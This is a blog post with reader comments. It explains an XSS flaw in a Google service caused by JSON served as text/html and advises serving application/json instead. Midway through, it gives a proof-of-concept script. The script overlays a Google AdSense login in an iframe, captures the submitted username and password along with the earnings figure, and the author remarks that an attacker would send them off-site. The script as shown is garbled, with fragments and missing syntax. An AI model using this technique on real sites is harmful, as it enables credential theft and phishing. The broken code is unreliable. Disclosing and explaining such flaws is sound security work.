Don't serve JSON as text/html

Another day, another XSS flaw, this one in Google again, but this is a little more interesting than the normal ones, what this one shows is how JSON results add an extra vector to attack that might be missed by your QA team. The problem here was that the JSON was returned with a mime-type of text/html, a browser will render that as if it was an HTML page, even if it's really just a javascript snippet. The easiest way to protect against these is to ensure that all javascript recieved by the XMLHTTPRequest object is returned with a suitable mime-type - application/json That will mean even when you make a mistake and write un-encoded untrusted data to the document, it won't allow people to attack your site. The google exploit was reported here, it's at the time of writing unpatched, unfortunately that was down to the discoverer not giving google any time to fix, whilst they have had their problems before, recently they have patched quickly, so this was not very fair, or wise. Google also appear to be taking testing their own services for security flaws more seriously, they recently had a presentation to the QA team that you can watch on Google Video. As I've said before, the everything on a single domain causes problems, it means any exploit anywhere on the domain, allows you to exploit any service provided for the domain. This exploit is also present in https:// google, so to re-enforce the problem XSS can present to a user, and why XSS is not simply about cookie stealing. Here's a simple demonstration of using the exploit to steal username and password from google adsense. The exploit is simply used to create an IFRAME that fills the document and points it to a google adsense login, when the user logs in, the username and password are alerted - also after logging in, then the "today's earnings" are alerted. Of course a real attacker would not alert these fields, but would sent them off to a site to be collected later. Are google adsense passwords useful? Would you notice if the address or account to get the cash changed until you'd not got the cheque? The script code is simple, you don't need to be clever, and phishers generally aren't stupid, it takes brains to launder money.
document.body.innerHTML="<div><iframe src=''"+
" onload='go()' style='position:absolute;top:0;left:0;height:100%;width:100%;'></div>";

function go() {
  try {
  var win=window.frames[0];"hidden";"0px solid white";
  var doc=win.frames[0].document.forms[0];
  doc.onsubmit=function() {
   alert("Your adsense username and password are:\n"+
 } catch (e) {
  try {
   var win=window.frames[0];
   var doc=win.document.body;
   var x="Today's Earnings:"+doc.getElementsByTagName('h1')[0];
   alert(x.getElementsByTagName('span')[0].innerHTML.replace(" ",""));
  } catch (e) {}
The result is clear:


  1. Web Things, by Mark Baker » Blog Archive » Don’t serve JSON as text/html Says:
    [...] Don’t serve JSON as text/html A detailed anatomy of an innovative XSS bug. Neat. Yet another reason to stick to Web architectural principles. (link) [] [...]
  2. grumpY! Says:
    how does application/json compare with text/javascript? i presume they are equivalent...any insights?
  3. Jim Says:
    text/javascript would be fine if it was javascript, often the JSON snippet is just a snippet of JSON, so then the json mime-type would be more appropriate - either way it would reduce the risk of being attacked.
  4. Bill Rehm Says:
    What would a non-javascript snippet of JavaScript Object Notation look like, I wonder?
  5. Sébastien Barbieri’s blog » Blog Archive » JSON mime-type Says:
    [...] [...]
  6. Syed Saud Shah Says:
    It's really very useful information about google adsense login/password protection. Whereas the exploits explained above are mostly effect on IE or firefox?
  7. kuniform » Blog Archive » JSON XSS vulnerability, accessibility and more Says:
    [...] Back from Michigan, and tired as heck from 5.5 hours of driving, Detroit to Chicago. I’m cruising through my inbox, and realizing how much I have to do this week. Oy! In any event, a great writeup by Jim Ley on a JSON XSS vulnerability when using “text/html” as the mimetype and some thoughts from Anna van Kesteren on using the role attribute for accessibility in html documents were waiting there. [...]
  8. Aukcje Says:
    Thanks for this very good article ... Can i translate this and insert on my site in Poland? ... Thanks
  9. text/javascript Says:
    Serve JSON as text/javascript not application/json
  10. Helder Magalhães Says:
    In response to "text/javascript": This MIME type is obsolete: On the other hand, "application/json" is standard: Regards, Helder
  11. pointless... Says:
    and how will changing the mime type you serve a document as protect you? If a phisher already has enough control of a browser to inspect the ajax transaction, do you think mime type will really prevent them from getting this data?
  12. links for 2007-08-17 « napyfab:blog Says:
    [...] Jibbering Musings » Don’t serve JSON as text/html (tags: json javascript security xss ajax google programming exploit development web) [...]
  13. Semantic Web Blog Says:
    [...] Don?t serve JSON as text/html Another day, another XSS flaw, this one in Google again, but this is a little more interesting than the normal ones, what this one shows is how JSON results add an extra vector to attack that might be missed by your QA team. The problem here was that the JSON was … [...]
  14. Scott Says:
    @pointless If you serve content as text/html, the browser will render it with JavaScript, iframes, etc. It is rendering this unsafe content that gives the phisher control. If you serve content as application/json, the browser will not render it as html. That's why setting the content type to application/json offers some protection against this type of XSS vulnerability.